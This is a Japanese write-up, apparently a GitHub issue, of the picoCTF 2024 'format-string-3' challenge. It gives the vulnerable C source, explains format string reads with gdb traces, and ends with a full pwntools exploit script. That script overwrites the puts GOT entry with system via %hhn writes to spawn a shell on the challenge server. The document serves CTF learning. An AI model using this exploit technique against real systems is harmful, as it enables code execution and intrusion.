Open roaris opened 5 months ago
#include <stdio.h>
#define MAX_STRINGS 32
char *normal_string = "/bin/sh";
void setup() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
}
void hello() {
puts("Howdy gamers!");
printf("Okay I'll be nice. Here's the address of setvbuf in libc: %p\n", &setvbuf);
}
int main() {
char *all_strings[MAX_STRINGS] = {NULL};
char buf[1024] = {'\0'};
setup();
hello();
fgets(buf, 1024, stdin);
printf(buf);
puts(normal_string);
return 0;
}
$ checksec format-string-3
[*] '/home/roaris/picoCTF/2024/449_re/format-string-3'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
RUNPATH: b'.'
ダウンロードしたバイナリが動かせなかったので、ローカルでコンパイルした
$ ./format-string-3
bash: ./format-string-3: cannot execute: required file not found
$ gcc format-string-3.c -no-pie -fstack-protector -o my-format-string-3
$ checksec my-format-string-3
[*] '/home/roaris/picoCTF/2024/449_re/my-format-string-3'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
$ ./my-format-string-3
Howdy gamers!
Okay I'll be nice. Here's the address of setvbuf in libc: 0x7f5e74c912e0
test
test
/bin/sh
この問題では、書式文字列攻撃を行う 書式文字列とは、printf関数の第1引数に渡す文字列のことである
#include <stdio.h>
int main(void){
int x = 100;
char *s = "abcde";
printf("x=%d,s=%s", x, s); // x=100,s=abcde
}
この例では、x=%d,s=%s
が書式文字列である
書式文字列を攻撃者が自由に指定できる場合、指定したアドレスに格納された値の読み出しや、指定したアドレスへの値の書き込みが可能になる
x64の引数は第1引数から順に、rdi, rsi, rdx, rcx, r8, r9を使う 第7引数以降はスタックに詰んでから関数を呼び出す rbpに元のrbp、rbp+0x8にリターンアドレスが格納されていて、第7引数はrbp+0x10, 第8引数はrbp+0x18, 第9引数はrbp+0x20, ... に格納されている
書式文字列だけをprintf関数に渡した場合、レジスタやスタックに格納された値を読み出すことが出来る
#include <stdio.h>
int main() {
printf("1: %lx, 2: %lx, 3: %lx, 4: %lx, 5: %lx, 6: %lx, 7: %lx, 8: %lx\n");
}
rsi, rdx, rcx, r8, r9, (printfを呼び出す前のrsp), (printfを呼び出す前のrsp)+0x8, (printfを呼び出す前のrsp)+0x10 に格納された値が順に出力されることになる %lxは8バイト整数として読み出し、16進数として表示する gdbで確認する
gdb-peda$ n
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x7fffffffe078 --> 0x7fffffffe310 ("/home/roaris/picoCTF/2024/449_re/printf_test1")
RCX: 0x555555557dd8 --> 0x5555555550f0 (<__do_global_dtors_aux>: endbr64)
RDX: 0x7fffffffe088 --> 0x7fffffffe33e ("HOSTTYPE=x86_64")
RSI: 0x7fffffffe078 --> 0x7fffffffe310 ("/home/roaris/picoCTF/2024/449_re/printf_test1")
RDI: 0x555555556008 ("1: %lx, 2: %lx, 3: %lx, 4: %lx, 5: %lx, 6: %lx, 7: %lx, 8: %lx\n")
RBP: 0x7fffffffdf60 --> 0x1
RSP: 0x7fffffffdf60 --> 0x1
RIP: 0x55555555514c (<main+19>: call 0x555555555030 <printf@plt>)
R8 : 0x0
R9 : 0x7ffff7fcfb10 (<_dl_fini>: push r15)
R10: 0x7ffff7fcb858 --> 0xa00120000000e
R11: 0x7ffff7fe1e30 (<_dl_audit_preinit>: mov eax,DWORD PTR [rip+0x1b022] # 0x7ffff7ffce58 <_rtld_global_ro+888>)
R12: 0x0
R13: 0x7fffffffe088 --> 0x7fffffffe33e ("HOSTTYPE=x86_64")
R14: 0x555555557dd8 --> 0x5555555550f0 (<__do_global_dtors_aux>: endbr64)
R15: 0x7ffff7ffd000 --> 0x7ffff7ffe2d0 --> 0x555555554000 --> 0x10102464c457f
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x55555555513d <main+4>: lea rax,[rip+0xec4] # 0x555555556008
0x555555555144 <main+11>: mov rdi,rax
0x555555555147 <main+14>: mov eax,0x0
=> 0x55555555514c <main+19>: call 0x555555555030 <printf@plt>
0x555555555151 <main+24>: mov eax,0x0
0x555555555156 <main+29>: pop rbp
0x555555555157 <main+30>: ret
0x555555555158 <_fini>: sub rsp,0x8
Guessed arguments:
arg[0]: 0x555555556008 ("1: %lx, 2: %lx, 3: %lx, 4: %lx, 5: %lx, 6: %lx, 7: %lx, 8: %lx\n")
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdf60 --> 0x1
0008| 0x7fffffffdf68 --> 0x7ffff7df26ca (<__libc_start_call_main+122>: mov edi,eax)
0016| 0x7fffffffdf70 --> 0x7fffffffe060 --> 0x7fffffffe068 --> 0x7ffff7fc3160 --> 0x7ffff7dcb000 --> 0x3010102464c457f
0024| 0x7fffffffdf78 --> 0x555555555139 (<main>: push rbp)
0032| 0x7fffffffdf80 --> 0x155554040
0040| 0x7fffffffdf88 --> 0x7fffffffe078 --> 0x7fffffffe310 ("/home/roaris/picoCTF/2024/449_re/printf_test1")
0048| 0x7fffffffdf90 --> 0x7fffffffe078 --> 0x7fffffffe310 ("/home/roaris/picoCTF/2024/449_re/printf_test1")
0056| 0x7fffffffdf98 --> 0xd56aff8d3f7b38f6
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x000055555555514c in main ()
gdb-peda$ n
1: 7fffffffe078, 2: 7fffffffe088, 3: 555555557dd8, 4: 0, 5: 7ffff7fcfb10, 6: 1, 7: 7ffff7df26ca, 8: 7fffffffe060
%n$lx
とすると、n+1番目の引数を指定できる
#include <stdio.h>
int main() {
printf("1: %1$lx, 4: %4$lx, 7: %7$lx\n");
}
rsi, r8, (printfを呼び出す前のrsp)+0x8 に格納された値が順に出力されることになる gdbで確認する
gdb-peda$ n
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x7fffffffe078 --> 0x7fffffffe310 ("/home/roaris/picoCTF/2024/449_re/printf_test1")
RCX: 0x555555557dd8 --> 0x5555555550f0 (<__do_global_dtors_aux>: endbr64)
RDX: 0x7fffffffe088 --> 0x7fffffffe33e ("HOSTTYPE=x86_64")
RSI: 0x7fffffffe078 --> 0x7fffffffe310 ("/home/roaris/picoCTF/2024/449_re/printf_test1")
RDI: 0x555555556004 ("1: %1$lx, 4: %4$lx, 7: %7$lx\n")
RBP: 0x7fffffffdf60 --> 0x1
RSP: 0x7fffffffdf60 --> 0x1
RIP: 0x55555555514c (<main+19>: call 0x555555555030 <printf@plt>)
R8 : 0x0
R9 : 0x7ffff7fcfb10 (<_dl_fini>: push r15)
R10: 0x7ffff7fcb858 --> 0xa00120000000e
R11: 0x7ffff7fe1e30 (<_dl_audit_preinit>: mov eax,DWORD PTR [rip+0x1b022] # 0x7ffff7ffce58 <_rtld_global_ro+888>)
R12: 0x0
R13: 0x7fffffffe088 --> 0x7fffffffe33e ("HOSTTYPE=x86_64")
R14: 0x555555557dd8 --> 0x5555555550f0 (<__do_global_dtors_aux>: endbr64)
R15: 0x7ffff7ffd000 --> 0x7ffff7ffe2d0 --> 0x555555554000 --> 0x10102464c457f
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x55555555513d <main+4>: lea rax,[rip+0xec0] # 0x555555556004
0x555555555144 <main+11>: mov rdi,rax
0x555555555147 <main+14>: mov eax,0x0
=> 0x55555555514c <main+19>: call 0x555555555030 <printf@plt>
0x555555555151 <main+24>: mov eax,0x0
0x555555555156 <main+29>: pop rbp
0x555555555157 <main+30>: ret
0x555555555158 <_fini>: sub rsp,0x8
Guessed arguments:
arg[0]: 0x555555556004 ("1: %1$lx, 4: %4$lx, 7: %7$lx\n")
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdf60 --> 0x1
0008| 0x7fffffffdf68 --> 0x7ffff7df26ca (<__libc_start_call_main+122>: mov edi,eax)
0016| 0x7fffffffdf70 --> 0x7fffffffe060 --> 0x7fffffffe068 --> 0x7ffff7fc3160 --> 0x7ffff7dcb000 --> 0x3010102464c457f
0024| 0x7fffffffdf78 --> 0x555555555139 (<main>: push rbp)
0032| 0x7fffffffdf80 --> 0x155554040
0040| 0x7fffffffdf88 --> 0x7fffffffe078 --> 0x7fffffffe310 ("/home/roaris/picoCTF/2024/449_re/printf_test1")
0048| 0x7fffffffdf90 --> 0x7fffffffe078 --> 0x7fffffffe310 ("/home/roaris/picoCTF/2024/449_re/printf_test1")
0056| 0x7fffffffdf98 --> 0xb8cc6ee7de41feb4
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x000055555555514c in main ()
gdb-peda$ n
1: 7fffffffe078, 4: 0, 7: 7ffff7df26ca
書くの面倒になったので、とりあえずプログラムだけ載せる 0x404018(ローカルだと0x404000)にputs関数のアドレスが格納されているので、ここを書式文字列攻撃によって、system関数のアドレスに書き換えている
from pwn import *
is_remote = False
if is_remote:
io = remote('rhea.picoctf.net', 56247)
libc_setvbuf_address = 0x7a3f0
libc_system_address = 0x4f760
address_of_puts_address = 0x404018
else:
io = process('./my-format-string-3')
libc_setvbuf_address = 0x762e0
libc_system_address = 0x4c920
address_of_puts_address = 0x404000
io.recvuntil(b'Okay I\'ll be nice. Here\'s the address of setvbuf in libc: ')
runtime_setvbuf_address = int(io.recvuntil(b'\n')[:-1].decode(), 16)
runtime_system_address = runtime_setvbuf_address + libc_system_address - libc_setvbuf_address
payload = ''
s = 0 # 出力した合計文字数
arg_number = 158
for i in range(8):
b = (runtime_system_address >> (8*i)) & 255
t = b - s # これから出力する文字数
while t <= 0:
t += 256
payload += f'%{t}c%{arg_number}$hhn'
s += t
arg_number += 1
payload += 'a' * (960 - len(payload))
payload = bytes(payload, 'ascii')
for i in range(8):
payload += (address_of_puts_address + i).to_bytes(8, 'little')
io.sendline(payload)
io.interactive()
https://play.picoctf.org/practice/challenge/449